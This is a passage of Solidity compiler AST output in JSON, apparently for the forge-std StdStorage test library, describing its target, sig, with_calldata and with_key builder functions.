FindData"}},"visibility":"internal"}],"src":"4318:18:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8110,"nodeType":"FunctionDefinition","src":"6748:156:8","nodes":[],"body":{"id":8109,"nodeType":"Block","src":"6844:60:8","nodes":[],"statements":[{"expression":{"id":8105,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8101,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8093,"src":"6854:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8103,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"6859:7:8","memberName":"_target","nodeType":"MemberAccess","referencedDeclaration":7420,"src":"6854:12:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8104,"name":"_target","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8095,"src":"6869:7:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"src":"6854:22:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"id":8106,"nodeType":"ExpressionStatement","src":"6854:22:8"},{"expression":{"id":8107,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8093,"src":"6893:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8100,"id":8108,"nodeType":"Return","src":"6886:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"target","nameLocation":"6757:6:8","parameters":{"id":8096,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8093,"mutability":"mutable","name":"self","nameLocation":"6783:4:8","nodeType":"VariableDeclaration","scope":8110,"src":"6764:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8092,"nodeType":"UserDefinedTypeName","pathNode":{"id":8091,"name":"StdStorage","nameLocations":["6764:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6764:10:8"},"referencedDeclaration":7427,"src":"6764:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8095,"mutability":"mutable","name":"_target","nameLocation":"6797:7:8","nodeType":"VariableDeclaration","scope":8110,"src":"6789:15:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8094,"name":"address","nodeType":"ElementaryTypeName","src":"6789:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"6763:42:8"},"returnParameters":{"id":8100,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8099,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8110,"src":"6824:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8098,"nodeType":"UserDefinedTypeName","pathNode":{"id":8097,"name":"StdStorage","nameLocations":["6824:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6824:10:8"},"referencedDeclaration":7427,"src":"6824:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"6823:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8130,"nodeType":"FunctionDefinition","src":"6910:143:8","nodes":[],"body":{"id":8129,"nodeType":"Block","src":"6999:54:8","nodes":[],"statements":[{"expression":{"id":8125,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8121,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8113,"src":"7009:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8123,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7014:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"7009:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8124,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8115,"src":"7021:4:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7009:16:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"id":8126,"nodeType":"ExpressionStatement","src":"7009:16:8"},{"expression":{"id":8127,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8113,"src":"7042:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8120,"id":8128,"nodeType":"Return","src":"7035:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"6919:3:8","parameters":{"id":8116,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8113,"mutability":"mutable","name":"self","nameLocation":"6942:4:8","nodeType":"VariableDeclaration","scope":8130,"src":"6923:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8112,"nodeType":"UserDefinedTypeName","pathNode":{"id":8111,"name":"StdStorage","nameLocations":["6923:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6923:10:8"},"referencedDeclaration":7427,"src":"6923:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8115,"mutability":"mutable","name":"_sig","nameLocation":"6955:4:8","nodeType":"VariableDeclaration","scope":8130,"src":"6948:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"},"typeName":{"id":8114,"name":"bytes4","nodeType":"ElementaryTypeName","src":"6948:6:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"visibility":"internal"}],"src":"6922:38:8"},"returnParameters":{"id":8120,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8119,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8130,"src":"6979:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8118,"nodeType":"UserDefinedTypeName","pathNode":{"id":8117,"name":"StdStorage","nameLocations":["6979:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"6979:10:8"},"referencedDeclaration":7427,"src":"6979:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"6978:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8152,"nodeType":"FunctionDefinition","src":"7059:156:8","nodes":[],"body":{"id":8151,"nodeType":"Block","src":"7155:60:8","nodes":[],"statements":[{"expression":{"id":8147,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8141,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8133,"src":"7165:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8143,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7170:4:8","memberName":"_sig","nodeType":"MemberAccess","referencedDeclaration":7416,"src":"7165:9:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":8145,"name":"_sig","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8135,"src":"7182:4:8","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"id":8144,"name":"sigs","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":7481,"src":"7177:4:8","typeDescriptions":{"typeIdentifier":"t_function_internal_pure$_t_string_memory_ptr_$returns$_t_bytes4_$","typeString":"function (string memory) pure returns (bytes4)"}},"id":8146,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7177:10:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"src":"7165:22:8","typeDescriptions":{"typeIdentifier":"t_bytes4","typeString":"bytes4"}},"id":8148,"nodeType":"ExpressionStatement","src":"7165:22:8"},{"expression":{"id":8149,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8133,"src":"7204:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8140,"id":8150,"nodeType":"Return","src":"7197:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"sig","nameLocation":"7068:3:8","parameters":{"id":8136,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8133,"mutability":"mutable","name":"self","nameLocation":"7091:4:8","nodeType":"VariableDeclaration","scope":8152,"src":"7072:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8132,"nodeType":"UserDefinedTypeName","pathNode":{"id":8131,"name":"StdStorage","nameLocations":["7072:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7072:10:8"},"referencedDeclaration":7427,"src":"7072:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8135,"mutability":"mutable","name":"_sig","nameLocation":"7111:4:8","nodeType":"VariableDeclaration","scope":8152,"src":"7097:18:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":8134,"name":"string","nodeType":"ElementaryTypeName","src":"7097:6:8","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"7071:45:8"},"returnParameters":{"id":8140,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8139,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8152,"src":"7135:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8138,"nodeType":"UserDefinedTypeName","pathNode":{"id":8137,"name":"StdStorage","nameLocations":["7135:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7135:10:8"},"referencedDeclaration":7427,"src":"7135:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7134:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8172,"nodeType":"FunctionDefinition","src":"7221:174:8","nodes":[],"body":{"id":8171,"nodeType":"Block","src":"7331:64:8","nodes":[],"statements":[{"expression":{"id":8167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"expression":{"id":8163,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8155,"src":"7341:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8165,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":true,"memberLocation":"7346:9:8","memberName":"_calldata","nodeType":"MemberAccess","referencedDeclaration":7426,"src":"7341:14:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":8166,"name":"_calldata","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8157,"src":"7358:9:8","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}},"src":"7341:26:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage","typeString":"bytes storage ref"}},"id":8168,"nodeType":"ExpressionStatement","src":"7341:26:8"},{"expression":{"id":8169,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8155,"src":"7384:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8162,"id":8170,"nodeType":"Return","src":"7377:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_calldata","nameLocation":"7230:13:8","parameters":{"id":8158,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8155,"mutability":"mutable","name":"self","nameLocation":"7263:4:8","nodeType":"VariableDeclaration","scope":8172,"src":"7244:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8154,"nodeType":"UserDefinedTypeName","pathNode":{"id":8153,"name":"StdStorage","nameLocations":["7244:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7244:10:8"},"referencedDeclaration":7427,"src":"7244:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8157,"mutability":"mutable","name":"_calldata","nameLocation":"7282:9:8","nodeType":"VariableDeclaration","scope":8172,"src":"7269:22:8","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":8156,"name":"bytes","nodeType":"ElementaryTypeName","src":"7269:5:8","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"7243:49:8"},"returnParameters":{"id":8162,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8161,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8172,"src":"7311:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8160,"nodeType":"UserDefinedTypeName","pathNode":{"id":8159,"name":"StdStorage","nameLocations":["7311:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7311:10:8"},"referencedDeclaration":7427,"src":"7311:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7310:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8203,"nodeType":"FunctionDefinition","src":"7401:179:8","nodes":[],"body":{"id":8202,"nodeType":"Block","src":"7495:85:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"arguments":[{"arguments":[{"id":8194,"name":"who","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8177,"src":"7545:3:8","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address","typeString":"address"}],"id":8193,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7537:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint160_$","typeString":"type(uint160)"},"typeName":{"id":8192,"name":"uint160","nodeType":"ElementaryTypeName","src":"7537:7:8","typeDescriptions":{}}},"id":8195,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7537:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint160","typeString":"uint160"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint160","typeString":"uint160"}],"id":8191,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7529:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_uint256_$","typeString":"type(uint256)"},"typeName":{"id":8190,"name":"uint256","nodeType":"ElementaryTypeName","src":"7529:7:8","typeDescriptions":{}}},"id":8196,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7529:21:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8189,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7521:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8188,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7521:7:8","typeDescriptions":{}}},"id":8197,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7521:30:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8183,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8175,"src":"7505:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8186,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7510:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7505:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8187,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7516:4:8","memberName":"push","nodeType":"MemberAccess","src":"7505:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8198,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7505:47:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8199,"nodeType":"ExpressionStatement","src":"7505:47:8"},{"expression":{"id":8200,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8175,"src":"7569:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8182,"id":8201,"nodeType":"Return","src":"7562:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7410:8:8","parameters":{"id":8178,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8175,"mutability":"mutable","name":"self","nameLocation":"7438:4:8","nodeType":"VariableDeclaration","scope":8203,"src":"7419:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8174,"nodeType":"UserDefinedTypeName","pathNode":{"id":8173,"name":"StdStorage","nameLocations":["7419:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7419:10:8"},"referencedDeclaration":7427,"src":"7419:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8177,"mutability":"mutable","name":"who","nameLocation":"7452:3:8","nodeType":"VariableDeclaration","scope":8203,"src":"7444:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"},"typeName":{"id":8176,"name":"address","nodeType":"ElementaryTypeName","src":"7444:7:8","stateMutability":"nonpayable","typeDescriptions":{"typeIdentifier":"t_address","typeString":"address"}},"visibility":"internal"}],"src":"7418:38:8"},"returnParameters":{"id":8182,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8181,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8203,"src":"7475:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8180,"nodeType":"UserDefinedTypeName","pathNode":{"id":8179,"name":"StdStorage","nameLocations":["7475:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7475:10:8"},"referencedDeclaration":7427,"src":"7475:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7474:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8228,"nodeType":"FunctionDefinition","src":"7586:161:8","nodes":[],"body":{"id":8227,"nodeType":"Block","src":"7680:67:8","nodes":[],"statements":[{"expression":{"arguments":[{"arguments":[{"id":8221,"name":"amt","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8208,"src":"7714:3:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_uint256","typeString":"uint256"}],"id":8220,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"nodeType":"ElementaryTypeNameExpression","src":"7706:7:8","typeDescriptions":{"typeIdentifier":"t_type$_t_bytes32_$","typeString":"type(bytes32)"},"typeName":{"id":8219,"name":"bytes32","nodeType":"ElementaryTypeName","src":"7706:7:8","typeDescriptions":{}}},"id":8222,"isConstant":false,"isLValue":false,"isPure":false,"kind":"typeConversion","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7706:12:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8214,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8206,"src":"7690:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8217,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7695:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7690:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8218,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7701:4:8","memberName":"push","nodeType":"MemberAccess","src":"7690:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8223,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7690:29:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8224,"nodeType":"ExpressionStatement","src":"7690:29:8"},{"expression":{"id":8225,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8206,"src":"7736:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8213,"id":8226,"nodeType":"Return","src":"7729:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7595:8:8","parameters":{"id":8209,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8206,"mutability":"mutable","name":"self","nameLocation":"7623:4:8","nodeType":"VariableDeclaration","scope":8228,"src":"7604:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8205,"nodeType":"UserDefinedTypeName","pathNode":{"id":8204,"name":"StdStorage","nameLocations":["7604:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7604:10:8"},"referencedDeclaration":7427,"src":"7604:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"},{"constant":false,"id":8208,"mutability":"mutable","name":"amt","nameLocation":"7637:3:8","nodeType":"VariableDeclaration","scope":8228,"src":"7629:11:8","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"},"typeName":{"id":8207,"name":"uint256","nodeType":"ElementaryTypeName","src":"7629:7:8","typeDescriptions":{"typeIdentifier":"t_uint256","typeString":"uint256"}},"visibility":"internal"}],"src":"7603:38:8"},"returnParameters":{"id":8213,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8212,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":8228,"src":"7660:18:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"},"typeName":{"id":8211,"nodeType":"UserDefinedTypeName","pathNode":{"id":8210,"name":"StdStorage","nameLocations":["7660:10:8"],"nodeType":"IdentifierPath","referencedDeclaration":7427,"src":"7660:10:8"},"referencedDeclaration":7427,"src":"7660:10:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage"}},"visibility":"internal"}],"src":"7659:20:8"},"scope":8781,"stateMutability":"nonpayable","virtual":false,"visibility":"internal"},{"id":8250,"nodeType":"FunctionDefinition","src":"7753:152:8","nodes":[],"body":{"id":8249,"nodeType":"Block","src":"7847:58:8","nodes":[],"statements":[{"expression":{"arguments":[{"id":8244,"name":"key","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8233,"src":"7873:3:8","typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes32","typeString":"bytes32"}],"expression":{"expression":{"id":8239,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8231,"src":"7857:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"id":8242,"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"memberLocation":"7862:5:8","memberName":"_keys","nodeType":"MemberAccess","referencedDeclaration":7414,"src":"7857:10:8","typeDescriptions":{"typeIdentifier":"t_array$_t_bytes32_$dyn_storage","typeString":"bytes32[] storage ref"}},"id":8243,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"7868:4:8","memberName":"push","nodeType":"MemberAccess","src":"7857:15:8","typeDescriptions":{"typeIdentifier":"t_function_arraypush_nonpayable$_t_array$_t_bytes32_$dyn_storage_ptr_$_t_bytes32_$returns$__$attached_to$_t_array$_t_bytes32_$dyn_storage_ptr_$","typeString":"function (bytes32[] storage pointer,bytes32)"}},"id":8245,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"7857:20:8","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":8246,"nodeType":"ExpressionStatement","src":"7857:20:8"},{"expression":{"id":8247,"name":"self","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":8231,"src":"7894:4:8","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct StdStorage storage pointer"}},"functionReturnParameters":8238,"id":8248,"nodeType":"Return","src":"7887:11:8"}]},"implemented":true,"kind":"function","modifiers":[],"name":"with_key","nameLocation":"7762:8:8","parameters":{"id":8234,"nodeType":"ParameterList","parameters":[{"constant":false,"id":8231,"mutability":"mutable","name":"self","nameLocation":"7790:4:8","nodeType":"VariableDeclaration","scope":8250,"src":"7771:23:8","stateVariable":false,"storageLocation":"storage","typeDescriptions":{"typeIdentifier":"t_struct$_StdStorage_$7427_storage_ptr","typeString":"struct 